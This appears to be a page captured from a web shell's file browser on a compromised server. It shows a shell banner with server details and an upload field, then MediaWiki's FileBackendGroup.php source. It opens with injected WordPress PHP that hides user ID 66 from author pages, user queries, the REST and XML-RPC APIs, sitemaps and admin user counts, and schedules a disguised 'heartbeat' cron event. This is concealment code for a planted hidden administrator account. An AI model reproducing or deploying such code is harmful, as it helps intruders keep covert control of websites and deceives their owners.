add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/filebackend/ |
Upload File : |
<?php
/**
* File backend registration handling.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup FileBackend
*/
namespace MediaWiki\FileBackend;
use InvalidArgumentException;
use LogicException;
use MediaWiki\Config\ServiceOptions;
use MediaWiki\Deferred\DeferredUpdates;
use MediaWiki\FileBackend\LockManager\LockManagerGroupFactory;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MainConfigNames;
use MediaWiki\Output\StreamFile;
use MediaWiki\Status\Status;
use Profiler;
use Wikimedia\FileBackend\FileBackend;
use Wikimedia\FileBackend\FileBackendMultiWrite;
use Wikimedia\FileBackend\FSFile\TempFSFileFactory;
use Wikimedia\FileBackend\FSFileBackend;
use Wikimedia\Mime\MimeAnalyzer;
use Wikimedia\ObjectCache\BagOStuff;
use Wikimedia\ObjectCache\WANObjectCache;
use Wikimedia\ObjectFactory\ObjectFactory;
use Wikimedia\Rdbms\ReadOnlyMode;
/**
* Class to handle file backend registration
*
* @ingroup FileBackend
* @since 1.19
*/
class FileBackendGroup {
/**
* @var array[] (name => ('class' => string, 'config' => array, 'instance' => object))
* @phan-var array<string,array{class:class-string,config:array,instance:object}>
*/
protected $backends = [];
/** @var ServiceOptions */
private $options;
/** @var BagOStuff */
private $srvCache;
/** @var WANObjectCache */
private $wanCache;
/** @var MimeAnalyzer */
private $mimeAnalyzer;
/** @var LockManagerGroupFactory */
private $lmgFactory;
/** @var TempFSFileFactory */
private $tmpFileFactory;
/** @var ObjectFactory */
private $objectFactory;
/**
* @internal For use by ServiceWiring
*/
public const CONSTRUCTOR_OPTIONS = [
MainConfigNames::DirectoryMode,
MainConfigNames::FileBackends,
MainConfigNames::ForeignFileRepos,
MainConfigNames::LocalFileRepo,
'fallbackWikiId',
];
/**
* @param ServiceOptions $options
* @param ReadOnlyMode $readOnlyMode
* @param BagOStuff $srvCache
* @param WANObjectCache $wanCache
* @param MimeAnalyzer $mimeAnalyzer
* @param LockManagerGroupFactory $lmgFactory
* @param TempFSFileFactory $tmpFileFactory
* @param ObjectFactory $objectFactory
*/
public function __construct(
ServiceOptions $options,
ReadOnlyMode $readOnlyMode,
BagOStuff $srvCache,
WANObjectCache $wanCache,
MimeAnalyzer $mimeAnalyzer,
LockManagerGroupFactory $lmgFactory,
TempFSFileFactory $tmpFileFactory,
ObjectFactory $objectFactory
) {
$this->options = $options;
$this->srvCache = $srvCache;
$this->wanCache = $wanCache;
$this->mimeAnalyzer = $mimeAnalyzer;
$this->lmgFactory = $lmgFactory;
$this->tmpFileFactory = $tmpFileFactory;
$this->objectFactory = $objectFactory;
// Register explicitly defined backends
$this->register( $options->get( MainConfigNames::FileBackends ), $readOnlyMode->getConfiguredReason() );
$autoBackends = [];
// Automatically create b/c backends for file repos...
$repos = array_merge(
$options->get( MainConfigNames::ForeignFileRepos ), [ $options->get( MainConfigNames::LocalFileRepo ) ] );
foreach ( $repos as $info ) {
$backendName = $info['backend'];
if ( is_object( $backendName ) || isset( $this->backends[$backendName] ) ) {
continue; // already defined (or set to the object for some reason)
}
$repoName = $info['name'];
// Local vars that used to be FSRepo members...
$directory = $info['directory'];
$deletedDir = $info['deletedDir'] ?? false; // deletion disabled
$thumbDir = $info['thumbDir'] ?? "{$directory}/thumb";
$transcodedDir = $info['transcodedDir'] ?? "{$directory}/transcoded";
$lockManager = $info['lockManager'] ?? 'fsLockManager';
// Get the FS backend configuration
$autoBackends[] = [
'name' => $backendName,
'class' => FSFileBackend::class,
'lockManager' => $lockManager,
'containerPaths' => [
"{$repoName}-public" => "{$directory}",
"{$repoName}-thumb" => $thumbDir,
"{$repoName}-transcoded" => $transcodedDir,
"{$repoName}-deleted" => $deletedDir,
"{$repoName}-temp" => "{$directory}/temp"
],
'fileMode' => $info['fileMode'] ?? 0644,
'directoryMode' => $options->get( MainConfigNames::DirectoryMode ),
];
}
// Register implicitly defined backends
$this->register( $autoBackends, $readOnlyMode->getConfiguredReason() );
}
/**
* Register an array of file backend configurations
*
* @param array[] $configs
* @param string|null $readOnlyReason
*/
protected function register( array $configs, $readOnlyReason = null ) {
foreach ( $configs as $config ) {
if ( !isset( $config['name'] ) ) {
throw new InvalidArgumentException( "Cannot register a backend with no name." );
}
$name = $config['name'];
if ( isset( $this->backends[$name] ) ) {
throw new LogicException( "Backend with name '$name' already registered." );
} elseif ( !isset( $config['class'] ) ) {
throw new InvalidArgumentException( "Backend with name '$name' has no class." );
}
$class = $config['class'];
$config['domainId'] ??= $config['wikiId'] ?? $this->options->get( 'fallbackWikiId' );
$config['readOnly'] ??= $readOnlyReason;
unset( $config['class'] ); // backend won't need this
$this->backends[$name] = [
'class' => $class,
'config' => $config,
'instance' => null
];
}
}
/**
* Get the backend object with a given name
*
* @param string $name
* @return FileBackend
*/
public function get( $name ) {
// Lazy-load the actual backend instance
if ( !isset( $this->backends[$name]['instance'] ) ) {
$config = $this->config( $name );
$class = $config['class'];
// Checking old alias for compatibility with unchanged config
if ( $class === FileBackendMultiWrite::class || $class === \FileBackendMultiWrite::class ) {
// @todo How can we test this? What's the intended use-case?
foreach ( $config['backends'] as $index => $beConfig ) {
if ( isset( $beConfig['template'] ) ) {
// Config is just a modified version of a registered backend's.
// This should only be used when that config is used only by this backend.
$config['backends'][$index] += $this->config( $beConfig['template'] );
}
}
}
$this->backends[$name]['instance'] = new $class( $config );
}
return $this->backends[$name]['instance'];
}
/**
* Get the config array for a backend object with a given name
*
* @param string $name
* @return array Parameters to FileBackend::__construct()
*/
public function config( $name ) {
if ( !isset( $this->backends[$name] ) ) {
throw new InvalidArgumentException( "No backend defined with the name '$name'." );
}
$config = $this->backends[$name]['config'];
return array_merge(
// Default backend parameters
[
'mimeCallback' => [ $this, 'guessMimeInternal' ],
'obResetFunc' => 'wfResetOutputBuffers',
'asyncHandler' => [ DeferredUpdates::class, 'addCallableUpdate' ],
'streamMimeFunc' => [ StreamFile::class, 'contentTypeFromPath' ],
'tmpFileFactory' => $this->tmpFileFactory,
'statusWrapper' => [ Status::class, 'wrap' ],
'wanCache' => $this->wanCache,
'srvCache' => $this->srvCache,
'logger' => LoggerFactory::getInstance( 'FileOperation' ),
'profiler' => static function ( $section ) {
return Profiler::instance()->scopedProfileIn( $section );
}
],
// Configured backend parameters
$config,
// Resolved backend parameters
[
'class' => $this->backends[$name]['class'],
'lockManager' =>
$this->lmgFactory->getLockManagerGroup( $config['domainId'] )
->get( $config['lockManager'] ),
]
);
}
/**
* Get an appropriate backend object from a storage path
*
* @param string $storagePath
* @return FileBackend|null Backend or null on failure
*/
public function backendFromPath( $storagePath ) {
[ $backend, , ] = FileBackend::splitStoragePath( $storagePath );
if ( $backend !== null && isset( $this->backends[$backend] ) ) {
return $this->get( $backend );
}
return null;
}
/**
* @param string $storagePath
* @param string|null $content
* @param string|null $fsPath
* @return string
* @since 1.27
*/
public function guessMimeInternal( $storagePath, $content, $fsPath ) {
// Trust the extension of the storage path (caller must validate)
$ext = FileBackend::extensionFromPath( $storagePath );
$type = $this->mimeAnalyzer->getMimeTypeFromExtensionOrNull( $ext );
// For files without a valid extension (or one at all), inspect the contents
if ( !$type && $fsPath ) {
$type = $this->mimeAnalyzer->guessMimeType( $fsPath, false );
} elseif ( !$type && $content !== null && $content !== '' ) {
$tmpFile = $this->tmpFileFactory->newTempFSFile( 'mime_', '' );
file_put_contents( $tmpFile->getPath(), $content );
$type = $this->mimeAnalyzer->guessMimeType( $tmpFile->getPath(), false );
}
return $type ?: 'unknown/unknown';
}
}
/** @deprecated class alias since 1.43 */
class_alias( FileBackendGroup::class, 'FileBackendGroup' );